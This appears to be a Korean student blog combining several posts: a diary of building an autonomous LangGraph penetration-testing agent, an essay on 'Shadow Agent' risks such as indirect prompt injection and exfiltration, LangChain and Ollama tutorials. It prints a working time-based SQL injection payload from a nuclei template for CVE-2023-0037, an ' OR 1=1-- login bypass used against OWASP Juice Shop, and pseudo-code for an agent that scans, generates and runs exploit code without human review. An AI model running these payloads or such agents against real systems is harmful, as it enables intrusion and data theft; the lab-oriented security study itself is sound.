• 드디어 다음주가 최종 배포데이다.이번주에 UI를 만들고, 다른 분들은 RAG 향상 기법을 시도했다. 기존에는 CLI 환경에서 돌아가는 코드였어서, 직접 백엔드 프론트엔드 구축하고 엔드포인트를 만들어놨다. 웹 프레임워크는 FAST API를 썼다. 다음주에 잘 마무리 되었으면 좋겠다.

최근 AI 기술은 단순히 묻고 답하는 수준을 넘어, 스스로 목표를 설정하고 도구를 실행하는 '에이전트형 AI(Agentic AI)'로 진화했습니다. 하지만 편리함의 이면에는 보안 책임자(CISO)와 개발자들이 밤잠을 설치게 할 새로운 위협이 숨어 있습니다. 바로 Shadow Agent 문제입니다.

1. Shadow AI에서 Shadow Agent로의 진화

기본적인 Shadow AI가 기업의 승인 없이 ChatGPT나 Claude 같은 서비스를 몰래 사용하는 수준이었다면, Shadow Agent는 그 파급력이 다릅니다.

• Shadow AI (기존): 사용자가 데이터를 AI 서비스에 직접 '입력'하여 발생하는 데이터 유출 위협.

• Shadow Agent (현재): 사용자가 만든(또는 가져온) AI 에이전트가 기업 내부 API, DB, 이메일 등에 접근 권한을 가지고 스스로 '행동'하며 발생하는 권한 오남용 위협.

  전공생의 한마디: "이제는 사용자가 데이터를 흘리는 것을 걱정하는 단계를 넘어, 이름 모를 'AI 에이전트'가 사내 망에서 관리자 몰래 API를 호출하고 데이터를 전송하는 상황을 직면해야 합니다."

2. 핵심 위협: 자율성이 가져온 보안의 사각지대

에이전트형 AI는 '목표'만 주어지면 이를 달성하기 위해 최적의 경로를 스스로 탐색합니다. 이 과정에서 다음과 같은 심각한 보안 결함이 발생할 수 있습니다.

1. 권한 상승 및 측면 이동(Lateral Movement): 에이전트가 특정 작업을 위해 부여받은 API 키나 세션 토큰을 사용하여, 원래 의도하지 않았던 민감한 시스템으로 접근을 시도할 수 있습니다.

2. 데이터 유출(Data Exfiltration): 스스로 외부 도구를 사용할 수 있는 에이전트가 내부 데이터를 요약한 뒤, 이를 외부 웹훅(Webhook)이나 개인 클라우드로 전송하는 '자율적 유출'이 가능해집니다.

3. 간접 프롬프트 주입(Indirect Prompt Injection): 에이전트가 읽어 들인 외부 웹페이지나 문서 내에 악의적인 지시문이 숨겨져 있을 경우, 에이전트가 공격자의 명령을 수행하는 '좀비 에이전트'가 될 위험이 있습니다.

3. 보안 공학적 대응 전략: 어떻게 방어할 것인가?

전문가로서 제안하는 에이전트형 AI 보안의 핵심 프레임워크는 크게 세 가지입니다.

1. AI 에이전트에 고유 아이덴티티(Non-Human Identity) 부여

   • 모든 에이전트는 사람이 사용하는 계정을 공유해서는 안 됩니다. 각 에이전트에게 고유한 Machine ID를 부여하고, 어떤 에이전트가 어떤 데이터에 접근했는지 완벽한 감사 추적(Audit Trail)이 가능해야 합니다.

2. 데이터 출처 라벨링 및 공급망 보안

   • 에이전트가 사용하는 도구(Tool)와 모델의 출처를 검증해야 합니다.

   • Data Provenance: 에이전트가 생성한 결과물이 어떤 로우 데이터를 바탕으로 만들어졌는지 라벨링하여 신뢰성을 확보합니다.

   • Tool Sandboxing: 에이전트가 실행하는 모든 API 호출과 코드 실행은 격리된 샌드박스 환경에서 이루어져야 합니다.

3. 비상 차단 메커니즘 (Kill Switch) 구축

   • 에이전트의 행동이 사전에 정의된 '보안 정책' 또는 '비정상 패턴(Anomaly Detection)'을 벗어날 경우, 즉시 모든 권한을 회수하고 프로세스를 강제 종료하는 Kill Switch가 아키텍처 레벨에서 구현되어야 합니다.

4. 결론: "Zero Trust for Agents"

이제 보안 모델은 '인간 사용자'뿐만 아니라 'AI 에이전트'까지 포함하는 제로 트러스트(Zero Trust) 모델로 확장되어야 합니다. 에이전트의 모든 자율적 행동은 '검증 전까지 신뢰하지 않는다'는 원칙이 필요합니다.

비즈니스의 속도를 높여주는 에이전트형 AI, 하지만 그 엔진을 제어할 수 있는 브레이크(보안)가 없다면 그것은 도구가 아니라 시한폭탄이 될 수 있습니다.

월요일에 중간발표를 진행했다. 직접 시연 영상까지 포함해 발표했고, 큰 문제없이마무리했다. 먼저 중간 데모데이에서 받았던 피드백에 대해서 얘기를 좀 해보겠다.

피드백 주요 피드백은 두가지였다

1. 잘 모르는 사람이 듣기에 발표가 너무 어려웠다.
2. '출퇴근'이라는 주제에 어긋난다.

최종 데모에서는

핵심 개념에 대한 간단한 설명을 추가하고 초반에 주제에 대해서 미리 양해를 구했다는 부분도 설명해야 할 것이다. 전체적으로 발표 내용에 대한 피드백이었다. 개발 속도나 현재 진행 상황에 대해서는 크게 문제가 없다고 받아들였다.

그 다음 할 것

RAG 성능 향상 기법

1. Hybrid Search: 하이브리드 검색(Hybrid Search)은 전통적인 키워드 기반 검색(Lexical/BM25)과 의미를 이해하는 시맨틱 검색(Semantic/Vector)을 결합하여, 두 방식의 장점을 활용해 더 정확하고 포괄적인 검색 결과를 제공하는 기술

2. Re-ranking:

   검색(Retrieval) 또는 추천 시스템의 마지막 단계에서, 1차적으로 선정된 후보군(초기 결과)을 더 정밀한 모델로 다시 평가하여 사용자의 의도와 관련성이 높은 순서대로 재정렬하는 기술입니다. RAG(검색 증강 생성) 시스템에서 검색 정확도를 극대화하고 문맥 이해도를 높여 LLM의 답변 품질을 향상시키는 핵심 보완 기술로 사용됩니다. 

[로컬에서 테스트 해보기]

• Hybrid Search: 선영
• Re-ranking: 대환
• 그 외의 1개: 승윤

Human in the Loop 기능

AI나 자동화 시스템이 모든 것을 독단적으로 처리하게 두지 않고 중간에 사람이 개입해서 검수, 수정, 또는 판단을 내리는 방식

저번에 chromaDB(벡터db)에 적재했던 데이터셋을 이용해서 이번엔 langchain, langgraph를 구현했다. langchain은 직렬성 구조로, 즉 단발성이라서 한번 실행된다음에 끝나는게 특징이고, 이를 graph형태로 변환시킨게 langgraph이다.

langgraph의 큰 특징은 state를 경유하여 진행된다는건데, 쉽게 얘기하면 RUN, STAY, BLOCK 등 실행, 대기, 멈춤 등으로 계속 state를 돌면서 진행된다고 보면 된다.

로직 : 정찰(Recon) → 검색(RAG) → 적응형 생성(Adaptive Gen) → 정밀 검증(Expert Exploit) → 루프(Loop)

그런 다음에 프롬프트 엔지니어링을 이요해서 보고서를 작성한다.

# [Node 5] 보고서 생성
def report_node(state: AgentState):
    print("\n[*] 단계 5: 보고서 작성 중...")

    # 간단한 보고서 직접 생성 (LLM 오류 방지)
    report = f"""
**테스트 결과 보고서**

**1. 테스트 개요**
* 대상: {state['target_url']}
* IP: {state['target_ip']}
* 기술: {state['detected_tech']}
* 테스트 목적: SQL Injection 취약점 발견

**2. 사용된 공격 기법**
* 공격 타입: SQL Injection (OR 1=1)
* HTTP 메소드: {state.get('http_method', 'POST')}
* 페이로드: {state['final_payload']}
* 특징: **이메일 주소를 사전에 알지 못해도 공격 가능**
  - "' OR 1=1--" 페이로드 사용
  - SQL 쿼리의 논리 조건을 항상 참(True)으로 만듦
  - 첫 번째 사용자(일반적으로 관리자)로 자동 로그인

**3. 발견된 취약점**
* {' 취약점 발견 (공격 성공)' if state['is_success'] else ' 취약점 미발견'}
* 시도 횟수: {state['attempts']}회
* 상세:
  - 입력값 검증 미흡: 사용자 입력이 SQL 쿼리에 직접 삽입됨
  - 특수문자 필터링 부재: ', --, OR 같은 SQL 제어 문자 차단 안됨
  - Prepared Statement 미사용

**4. 잠재적 영향**
*  높음 (Critical)
* 관리자 권한 탈취 가능
* 전체 사용자 데이터베이스 접근 가능
* 개인정보 유출 위험
* 데이터 조작 및 삭제 가능

**5. 권장 조치사항**
1. **즉시 조치 (Critical)**
   - Prepared Statements (매개변수화된 쿼리) 사용
   - 입력값 검증 및 이스케이프 처리

2. **보안 강화**
   - WAF(Web Application Firewall) 도입
   - 입력값 길이 제한
   - SQL 에러 메시지 숨김

3. **모니터링**
   - 비정상적인 로그인 시도 탐지
   - 데이터베이스 접근 로그 모니터링

**참고: 이 테스트는 OWASP Juice Shop (교육용 취약 애플리케이션)을 대상으로 수행되었습니다.**
"""

    print("\n" + "="*60)
    print("레드팀 침투 테스트 보고서")
    print("="*60)
    print(report)
    print("="*60)

    return {"context": state["context"] + "\n\n[FINAL REPORT]\n" + report}

이런식으로 구현했었다.

1. Agentic AI란 무엇인가? (Passive vs. Active)

기존의 생성형 AI(Generative AI)가 사용자의 입력을 받아 텍스트나 이미지를 출력하는 '수동적 도구'였다면, Agentic AI는 주어진 고수준 목표(High-level Goal)를 달성하기 위해 스스로 계획을 세우고 도구를 사용하며 실행 결과까지 책임지는 '자율적 행위자'를 의미합니다.전공자 관점에서 핵심은 "Agency(행위 주체성)"입니다. 단순히 확률적으로 다음 단어를 예측하는 것이 아니라, 환경(Environment)과 상호작용하며 목표 상태($S_{target}$)에 도달하기 위해 행동($A$)을 최적화하는 에이전트 루프를 가집니다.

2. Agentic AI의 완성형 모델: 구글 Antigravity

구글이 공개한 Antigravity는 이러한 Agentic AI 철학을 소프트웨어 개발 환경(IDE)에 완벽하게 녹여낸 플랫폼입니다. 단순히 코드를 짜주는 챗봇이 아니라, Gemini 3의 강력한 추론 능력을 바탕으로 독립적인 엔지니어링 세션을 수행합니다.

Antigravity의 3단계 워크플로우

1. Planning (계획): 사용자의 모호한 요청(예: "로그인 페이지에 Google OAuth 추가해줘")을 수신하면, 전체 코드베이스를 분석하여 수정이 필요한 파일 목록과 단계별 실행 계획(Task List)을 수립합니다.
2. Action (실행): 에이전트가 터미널을 열어 의존성을 설치하고, 소스코드를 수정하며, 필요시 브라우저를 띄워 UI가 깨지지 않았는지 직접 확인합니다.
3. Verification (검증): 작업 결과가 요구사항에 부합하는지 테스트 코드를 돌려 확인하고, 그 과정을 Artifacts(아티팩트)라 불리는 결과물로 정리해 인간에게 보고합니다.

3. Technical Deep Dive: Antigravity를 뒷받침하는 핵심 기술

Antigravity가 기존 코딩 비서들과 궤를 달리하는 이유는 다음과 같은 전문적인 기술 스택 덕분입니다.

① Gemini 3의 1M+ 컨텍스트 윈도우와 멀티모달 추론

• 전통적인 RAG(검색 증강 생성) 방식은 코드를 조각내어 검색하기 때문에 복잡한 종속성을 놓치기 일쑤였습니다. 하지만 Antigravity의 엔진인 Gemini 3는 수백만 토큰을 한 번에 읽어 들여 전체 프로젝트의 아키텍처를 메모리상에 유지합니다. 또한, 브라우저 화면의 픽셀을 직접 해석하여 시각적인 버그까지 잡아내는 멀티모달 능력을 보여줍니다.

② ReAct(Reason + Act) & Self-Healing② ReAct(Reason + Act) & Self-Healing

• Self-Healing 루프: 코드를 실행하다 에러가 발생하면, 에이전트는 스택 트레이스를 분석하고 스스로 원인을 파악해 코드를 재수정합니다. 인간의 개입 없이 $Input \rightarrow Plan \rightarrow Act \rightarrow Observe \rightarrow Refine$ 루프를 자율적으로 반복합니다.

③ Multi-Agent Orchestration (Swarm 시스템)

• 복잡한 프로젝트에서는 여러 에이전트가 협업합니다. '기획 에이전트', '코딩 에이전트', 'QA 에이전트'가 메시지 버스를 통해 통신하며 병렬적으로 작업을 처리합니다. 이는 소프트웨어 공학의 관심사 분리(Separation of Concerns) 원칙을 AI 시스템에 이식한 결과입니다.

4. 엔지니어에게 Antigravity가 주는 가치

• Cognitive Load Reduction: 개발자는 로우 레벨의 타이핑보다는 시스템 설계와 비즈니스 로직의 정합성 검토(Review)에 더 집중할 수 있습니다.
• Transparency & Trust: 에이전트의 모든 결정 과정은 Artifacts로 남습니다. 브라우저 테스트 영상, 작업 계획서, 변경된 코드의 Diff를 통해 AI의 행동을 투명하게 추적하고 신뢰할 수 있습니다.
• Vibe Coding의 실현: 아이디어를 자연어로 던지면 실제 동작하는 소프트웨어로 빠르게 Liftoff 시키는 경험을 선사합니다.

마치며: Agentic AI 시대의 개발자 역량

Antigravity와 같은 에이전틱 도구의 등장은 개발자의 종말을 의미하지 않습니다. 오히려 "에이전트를 얼마나 잘 오케스트레이션(Orchestration) 할 수 있는가"가 새로운 핵심 역량이 될 것입니다.

이제 우리는 개별 라인의 코드를 짜는 '코더'를 넘어, AI 에이전트 팀을 이끄는 '시스템 아키텍트'로서의 감각을 길러야 할 때입니다.

LLM 호출

import os
from langchain_openai import ChatOpenAI

# API 키 설정 (환경 변수 혹은 직접 입력)
os.environ["OPENAI_API_KEY"] = "여러분의_API_키"

# 모델 초기화 (gpt-3.5-turbo 또는 gpt-4o)
llm = ChatOpenAI(model="gpt-4o-mini")

# 질문 및 답변 출력
response = llm.invoke("랭체인이 뭐야? 한 문장으로 설명해줘.")
print(response.content)

그리고 아래는 프롬프트 템플릿 호출 예시이다.

Prompt Template call

from langchain_core.prompts import ChatPromptTemplate
from langchain_openai import ChatOpenAI

llm = ChatOpenAI(model="gpt-4o-mini")

# 1. 템플릿 생성: 시스템 역할과 사용자 질문 형식을 지정합니다.
prompt = ChatPromptTemplate.from_messages([
    ("system", "너는 유능한 요리사야. 사용자가 재료를 말하면 만들 수 있는 요리를 추천해줘."),
    ("user", "{ingredients}로 만들 수 있는 요리가 뭐야?")
])

# 2. 체인(Chain) 생성: 템플릿과 모델을 연결합니다. (LCEL 문법)
chain = prompt | llm

# 3. 실행
result = chain.invoke({"ingredients": "계란, 양파, 감자"})
print(result.content)

• 이번 2주차때는 저번 1주차 때 각자 결정한 데이터셋을 전처리하기로 했었다. 나는 여기서 웹기반 공격 TEMPLATE만 뽑아야 하기 때문에 HTTP 파일을 이용해야하고, HTTP에 들어가면 여러가지 있는데, 나는 우리 팀원분들과 협업이 필요하므로 CVE 라벨링을 할 수 있는 CVES 코드랑, 실제 공격인 EXPOSURES, VULNERABLITIES에 있는 파일을 전처리 했다.

  id: CVE-2023-0037
  

info: name: WordPress 10Web Map Builder < 1.0.73 - Unauthenticated SQL Injection author: riteshs4hu severity: critical description: | The 10Web Map Builder for Google Maps WordPress plugin before 1.0.73 does not properly sanitise and escape some parameters before using them in an SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection impact: | Unauthenticated attackers can execute SQL injection through AJAX actions to extract the complete WordPress database including user credentials, map configuration data, and sensitive site information. remediation: Fixed in 1.0.73 reference: - https://nvd.nist.gov/vuln/detail/CVE-2023-0037 - https://wpscan.com/vulnerability/33ab1fe2-6611-4f43-91ba-52c56f02ed56/ - https://bulletin.iese.de/post/wd-google-maps_1-0-72_1 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-0037 cwe-id: CWE-89 epss-score: 0.66547 epss-percentile: 0.98471 cpe: cpe:2.3:a:10web:map_builder_for_google_maps::::::wordpress::* metadata: verified: true max-request: 1 vendor: 10web product: map_builder_for_google_maps framework: wordpress zoomeye-query: http.body="wp-content/plugins/wd-google-maps" tags: wpscan,cve,cve2023,wordpress,wp-plugin,wp,wd-google-maps,sqli,time-based,vkev,vuln

http:

• raw:

  • | @timeout: 15s POST / HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded

    radius=1+and+(SELECT+7741+FROM+(SELECT(SLEEP(7)))hlAf)&lat=0.0&lng=0.0&distance_in=km

  matchers:

  • type: dsl dsl:
    • 'duration>=7'
    • 'contains(body, "wd-google-maps")'
    • 'contains(content_type, "text/html")' condition: and

      digest: 4a0a0047304502206b0beaf71de80bbe49bf6e989128f113a1e9f63cb7a9f98c239e80e055eeb022022100cb0133ac6853cb6610f85a431e4711ffa227e144c2d8aa31eb56a73d215abf4c:922c64590222798bb761d5b6d8e72950

      위의 원본 코드를 METHOD, PAYLOAD, MATCHERS, DESCRIPTION 정도로 전처리를 했다.

      [ { "cve_id": "CVE-2023-0037", "vuln_name": "WordPress 10Web Map Builder < 1.0.73 - Unauthenticated SQL Injection", "preprocessing_data": { "METHOD": { "verb": "POST", "path": "/", "headers": { "Content-Type": "application/x-www-form-urlencoded" }, "timeout": "15s" }, "PAYLOAD": { "raw_string": "radius=1+and+(SELECT+7741+FROM+(SELECT(SLEEP(7)))hlAf)&lat=0.0&lng=0.0&distance_in=km", "injection_point": "radius", "attack_type": "Time-based SQL Injection", "marker": "SLEEP(7)" }, "MATCHERS": { "logic": "AND", "conditions": [ { "type": "dsl", "value": "duration>=7", "description": "Response time must be greater than or equal to 7 seconds" }, { "type": "word", "part": "body", "value": "wd-google-maps", "description": "Response body must contain plugin footprint" }, { "type": "word", "part": "header", "value": "text/html", "description": "Content-Type must be text/html" } ] }, "DESCRIPTION": { "summary": "The 10Web Map Builder for Google Maps WordPress plugin before 1.0.73 contains an unauthenticated SQL injection vulnerability via the 'radius' parameter in AJAX actions.", "impact": "critical", "cvss_score": 9.8, "remediation": "Update to version 1.0.73 or higher." } } } ] ```

• 데이터셋 결정 어떤 데이터셋을 가지고 DB를 만들까 하다가, 4개의 데이터셋이 최종적으로 남았다. 지금으로서는 역할 분담하기가 애매해서 각자 1개씩 데이터셋을 맡아서 전처리하고, 전처리 양식을 통일하는 방향으로 진행하자고 했다.
• 여기서 나는 nuclei 라는 데이터셋을 하기로 결정했는데, nuclei는 대부분 웹기반 해킹 엔진이 포함되어있는 레포지토리였다. 그래서 나는 여기서 엔진이 사용하는 temlplate만 뽑아 쓰기로 했다. 느낀 점 : 생각보다 막연하게 시작했지만, 데이터셋 전처리가 힘들 것 같은 기분이 든다.

이제는 Agentic AI(에이전트 AI)의 시대입니다. Agentic AI는 단순히 질문에 답하는 것을 넘어, 스스로 생각하고, 계획을 세우고, 도구를 사용하여 작업을 수행하는 AI를 말합니다.

오늘은 "수동적인 챗봇"에서 "능동적인 동료"로 진화하는 Agentic AI의 개념과, Python(LangGraph)을 이용한 실제 구현 방법을 아주 상세하게 다뤄보겠습니다.

1. Agentic AI란 무엇인가?

기존 LLM(거대언어모델)이 "뇌(Brain)"만 있는 상태라면, Agentic AI는 이 뇌에 "손과 발(Tools)"을 달아준 것입니다.

기존 LLM vs Agentic AI

핵심 작동 원리: ReAct (Reason + Act) Agentic AI의 가장 기본적인 사고 패턴은 ReAct입니다.

1. Thought (생각): 사용자의 요청을 해결하기 위해 무엇이 필요한지 생각합니다.

2. Action (행동): 필요한 도구(Tool)를 선택하고 실행합니다.

3. Observation (관찰): 도구의 실행 결과를 확인합니다.

4. Repeat: 해결될 때까지 위 과정을 반복합니다.

2. 왜 지금 '에이전트'인가?

1. 복잡한 작업의 자동화 "지난주 A팀 회의록 요약해줘" (RAG)를 넘어, "지난주 A팀 회의록에서 나온 액션 아이템을 뽑아서, 담당자에게 슬랙 메시지 보내고 지라(Jira) 티켓 생성해줘"까지 가능해집니다.

2. 에러 수정 능력 (Self-Correction) 코드를 짰는데 에러가 나면, 에이전트는 "어? 에러가 났네. 에러 로그를 읽고 다시 수정해서 실행해봐야지"라며 스스로 디버깅을 시도합니다.

3. 실전 구현: LangGraph로 나만의 에이전트 만들기

과거에는 LangChain의 AgentExecutor를 썼지만, 최신 트렌드는 LangGraph입니다. 에이전트의 사고 과정을 그래프(Node & Edge) 구조로 제어할 수 있어 훨씬 안정적이고 복잡한 로직 구현이 가능합니다.

시나리오 "웹 검색 에이전트"를 만들어 봅시다. 사용자가 질문하면 1) 웹을 검색하고 2) 결과를 바탕으로 답변합니다.

시나리오

pip install langchain langchain-openai langgraph tavily-python

• Tavily: LLM을 위해 최적화된 검색 엔진 API입니다. (무료 키 발급 필요)

전체 코드 (agent.py) 아! ### 주의사항 ### agenticai는 랭체인과 랭그래프를 쓰기 때문에 랭체인, 랭그래프 기초지식이 필요합니다!

import os
from typing import Annotated, Literal, TypedDict

from langchain_core.tools import tool
from langchain_openai import ChatOpenAI
from langgraph.graph import END, StateGraph, START
from langgraph.prebuilt import ToolNode
from langchain_core.messages import HumanMessage, BaseMessage
import operator

# 1. 환경 변수 설정 (API KEY 입력)
os.environ["OPENAI_API_KEY"] = "sk-..."
os.environ["TAVILY_API_KEY"] = "tvly-..."

# 2. 도구(Tool) 정의
# 에이전트가 사용할 '손'을 정의합니다. 여기서는 Tavily 검색 도구를 씁니다.
from langchain_community.tools.tavily_search import TavilySearchResults

tools = [TavilySearchResults(max_results=2)]

# 3. LLM 모델 설정 (Brain)
# 도구를 사용할 수 있도록 bind_tools를 해줍니다.
llm = ChatOpenAI(model="gpt-4o", temperature=0)
llm_with_tools = llm.bind_tools(tools)

# 4. 상태(State) 정의
# 그래프 안에서 노드끼리 주고받을 데이터의 형태입니다.
# messages 리스트에 대화 기록이 계속 쌓입니다.
class AgentState(TypedDict):
    messages: Annotated[list[BaseMessage], operator.add]

# 5. 노드(Node) 정의
# 에이전트(LLM) 노드: 생각하고 판단하는 주체
def agent(state: AgentState):
    messages = state["messages"]
    response = llm_with_tools.invoke(messages)
    return {"messages": [response]}

# 6. 엣지(Edge) 로직 정의
# LLM이 도구를 쓰려고 하는지, 아니면 답변을 완료했는지 판단합니다.
def should_continue(state: AgentState) -> Literal["tools", END]:
    messages = state["messages"]
    last_message = messages[-1]

    # LLM이 도구 호출(tool_calls)을 원하면 'tools' 노드로 이동
    if last_message.tool_calls:
        return "tools"
    # 아니면 종료(END)
    return END

# 7. 그래프(Graph) 빌드
workflow = StateGraph(AgentState)

# 노드 추가
workflow.add_node("agent", agent)
workflow.add_node("tools", ToolNode(tools)) # LangGraph가 제공하는 기본 도구 실행 노드

# 엣지 연결
workflow.add_edge(START, "agent")
workflow.add_conditional_edges(
    "agent",
    should_continue,
)
workflow.add_edge("tools", "agent") # 도구 실행 후 다시 에이전트(뇌)로 돌아와서 결과를 해석하게 함

# 컴파일 (실행 가능한 앱으로 변환)
app = workflow.compile()

# 8. 실행 및 테스트
def run_agent(query: str):
    print(f"User Query: {query}")
    print("-" * 30)

    inputs = {"messages": [HumanMessage(content=query)]}

    # 스트리밍으로 사고 과정 보기
    for event in app.stream(inputs):
        for key, value in event.items():
            print(f"\n[{key} Node Active]") 
            # 에이전트의 생각이나 도구의 결과를 출력
            print(value['messages'][-1].pretty_print())

if __name__ == "__main__":
    # 질문: 최신 정보를 검색해야만 알 수 있는 내용
    run_agent("현재 한국의 기준 금리는 몇 퍼센트야?")

• 위 코드는 예시를 보여주고 싶어서 제미나이에서 긁어왔습니다. 예시 긁어온 것을 토대로 설명해드릴게요.

코드 실행 결과 해석 코드를 실행하면 내부적으로 다음과 같은 일이 벌어집니다.

1. [agent Node]: LLM이 질문을 받습니다. "기준 금리? 내 학습 데이터는 옛날 거니까 검색 도구를 써야겠다"라고 판단합니다. (tool_calls 생성)

2. [should_continue]: 도구를 쓰겠다고 했으니 tools 노드로 보냅니다.

3. [tools Node]: 실제로 Tavily API를 찔러서 최신 금리 정보를 가져옵니다. (Observation)

4. [agent Node]: 검색된 결과를 읽고, "한국은행 기준금리는 3.5%입니다"라고 최종 답변을 생성합니다.

5. [should_continue]: 더 이상 도구를 쓸 필요가 없으니 END로 종료합니다.

4. [프로젝트 경험] 직접 만든 화이트해커 AI: 'RedteamAgent' 개발기

Agentic AI의 개념을 공부하고 나서, 저는 이걸 단순히 챗봇이 아니라 "실제 보안 점검을 수행하는 모의해킹(Red Team) 에이전트"에 적용해보기로 했습니다.

이름하여 RedteamAgent. 이 에이전트는 정찰(Reconnaissance) → 정보 수집(RAG) → 무기화(Weaponization) → 공격 수행(Exploitation)의 과정을 사람의 개입 없이 스스로 수행합니다.

핵심 아이디어와 아키텍처

단순히 "해킹해줘"라고 하면 LLM은 윤리적 문제로 거부하거나 할루시네이션을 일으킵니다. 그래서 저는 도구(Nmap)와 지식(Vector DB)을 쥐어주어 정확도를 높였습니다.

1. 눈(Eyes): Nmap 도구를 사용하여 타겟 IP의 포트 상태를 스캔합니다.

2. 기억(Memory): 각종 CVE(보안 취약점) 데이터와 공격 코드를 Vector DB에 저장해 둡니다.

3. 뇌(Brain): 스캔된 포트에 맞는 취약점 정보를 Vector DB에서 RAG로 꺼내옵니다.

4. 손(Hands): LLM이 상황에 맞는 Python 공격 코드를 실시간으로 생성하고 실행하여 취약점을 검증합니다.

아래는 실제 제가 실무코드 구현전에 쓴 실험용 mock 코드입니다. 이러한 예시 코드를 통해 설명하겠습니다.

LangGraph를 활용한 구현 로직

이 프로젝트에서도 LangGraph를 사용하여 에이전트의 상태(State)가 물 흐르듯 넘어가도록 설계했습니다.

# RedteamAgent의 핵심 로직 구조 (Pseudo Code)

from langgraph.graph import StateGraph, END

# 1. 상태 정의: 공격 대상 IP, 열린 포트, 발견된 취약점 정보, 공격 결과
class SecurityState(TypedDict):
    target_ip: str
    open_ports: list
    vulnerability_docs: str
    exploit_code: str
    attack_result: str

# 2. 노드 정의 (각 단계별 행동)

def nmap_scanner(state):
    """Nmap으로 포트 스캔을 수행하는 노드"""
    print(f"🔍 [Scanning] {state['target_ip']} 스캔 시작...")
    # 실제 Nmap 명령어 실행 로직 (subprocess 등 활용)
    # 예: nmap -p- <ip>
    open_ports = run_nmap_tool(state['target_ip']) 
    return {"open_ports": open_ports}

def rag_researcher(state):
    """스캔된 포트에 맞는 취약점을 Vector DB에서 찾는 노드"""
    print(f"📚 [Researching] 포트 {state['open_ports']}에 대한 취약점 조회 중...")
    # RAG: Vector DB에서 관련 CVE 및 PoC 코드 검색
    docs = vector_db.similarity_search(f"vulnerabilities for port {state['open_ports']}")
    return {"vulnerability_docs": docs}

def exploit_generator(state):
    """검색된 정보를 바탕으로 공격 코드를 생성하는 노드"""
    print("💻 [Coding] 맞춤형 공격 스크립트 작성 중...")
    # LLM에게 RAG로 찾은 정보와 포트 정보를 주고 실행 가능한 파이썬 코드 생성 요청
    code = llm.invoke(f"""
        타겟: {state['target_ip']}
        포트: {state['open_ports']}
        참고 취약점: {state['vulnerability_docs']}

        위 정보를 바탕으로 해당 포트의 취약점을 검증하는 Python 코드를 작성해.
        주석을 포함하고, 실행 시 성공/실패 여부를 출력하도록 해.
    """)
    return {"exploit_code": code.content}

def attacker(state):
    """생성된 코드를 샌드박스 환경에서 실행하는 노드"""
    print("⚔️ [Attacking] 모의 해킹 시도 중...")
    # Python REPL 등을 이용해 코드 실행
    result = execute_python_code(state['exploit_code'])
    return {"attack_result": result}

# 3. 그래프 연결
workflow = StateGraph(SecurityState)

workflow.add_node("scanner", nmap_scanner)
workflow.add_node("researcher", rag_researcher)
workflow.add_node("generator", exploit_generator)
workflow.add_node("attacker", attacker)

# 스캔 -> 검색 -> 코드생성 -> 공격 순으로 흐름 연결
workflow.add_edge("scanner", "researcher")
workflow.add_edge("researcher", "generator")
workflow.add_edge("generator", "attacker")
workflow.add_edge("attacker", END)

app = workflow.compile()

실행 결과와 느낀 점 이 에이전트에게 특정 테스트 서버의 IP(위 코드는 목업 코드이므로 본인의 거울 ip인 127.0.0.1 기준입니다.)를 주었을 때 놀라운 결과를 보여주었습니다.

스스로 80번, 22번 포트가 열린 것을 감지하더니,

Vector DB에서 해당 버전의 서비스가 가진 취약점 데이터를 가져오고,

그 자리에서 공격 스크립트를 짜서 실행까지 완료했습니다.

과거에는 사람이 일일이 검색하고 코드를 수정해야 했던 과정을 Agentic AI가 스스로 판단하고 도구를 사용해 해결한 것입니다. 이 프로젝트를 통해 "AI가 단순히 텍스트를 생성하는 것을 넘어, 물리적인(또는 디지털) 세계에 직접 영향을 미칠 수 있다"는 가능성을 확신하게 되었습니다.

아래 예시사진은 XSS(Cross-Site Scripting)공격을 하는 터미널 화면과 WAF( Web Application Firewall) log 사진입니다.

오늘은 그 중에서도 가장 핫하고, "LLM계의 도커(Docker)"라고 불리는 Ollama에 대해 깊이 파헤쳐 보겠습니다.

1. Ollama란 무엇인가?

Ollama는 복잡한 설정 없이 로컬 환경(macOS, Linux, Windows)에서 오픈소스 거대언어모델(LLM)을 다운로드하고 실행할 수 있게 해주는 도구입니다.

기존에 로컬에서 Llama나 Mistral 같은 모델을 돌리려면 Python 환경 설정, PyTorch 설치, 모델 가중치(GGUF 등) 다운로드 및 경로 설정 등 복잡한 과정이 필요했습니다. Ollama는 이 모든 과정을 명령어 한 줄로 끝내버립니다.

주요 특징

• 간편한 설치: 바이너리 설치 하나로 끝.

• 다양한 모델 지원: Llama 3, Gemma 2, Mistral, Phi-3 등 최신 모델 즉시 사용 가능.

• Modelfile: Dockerfile처럼 시스템 프롬프트와 파라미터를 정의하여 나만의 모델 생성 가능.

• REST API 제공: 로컬 서버를 띄워 애플리케이션에 쉽게 연동 가능.

2. 설치 방법 (Installation)

Ollama는 공식 홈페이지에서 OS별로 쉽게 다운로드할 수 있습니다.

• 공식 사이트: ollama.com

macOS / Windows 공식 사이트의 Download 버튼을 눌러 설치 파일을 받아 실행하면 됩니다. (Windows는 현재 Preview 버전이지만 매우 잘 작동합니다.)

Linux 터미널에서 아래 명령어 한 줄이면 설치가 완료됩니다.

curl -fsSL https://ollama.com/install.sh | sh

3. 기본 사용법 (Basic Usage)

설치가 끝났다면 터미널(또는 CMD, PowerShell)을 열어봅시다.

모델 실행하기 (run) 가장 기본적인 명령어입니다. 모델이 없으면 자동으로 다운로드(Pull)하고 실행합니다. 요즘 가장 핫한 Meta의 Llama 3를 실행해 보겠습니다.

ollama run llama3

실행하면 아래와 같이 프롬프트가 뜨고 바로 대화를 나눌 수 있습니다.

>>> Send a message (/? for help)
>>> 안녕, 너는 누구니?
저는 메타(Meta)에서 개발한 거대 언어 모델인 Llama 3입니다. 무엇을 도와드릴까요?

대화를 종료하려면 /bye를 입력하거나 Ctrl + d를 누르세요. 자주 쓰는 모델 리스트 어떤 모델을 받을지 모르겠다면 아래 모델들을 추천합니다. (용량은 양자화 버전에 따라 다릅니다)

• llama3: 메타의 최신 모델 (8B, 70B) -> 이건 제가 직접 써서 구동해봤는데 맛있는 놈입니다 요놈.

• gemma2: 구글의 오픈 모델 (9B, 27B)

• mistral: 성능 좋은 프랑스산 모델 (7B)

• phi3: 마이크로소프트의 소형 고성능 모델 (3.8B) - 저사양 PC 추천

4. Ollama 명령어 모음 (Cheatsheet)

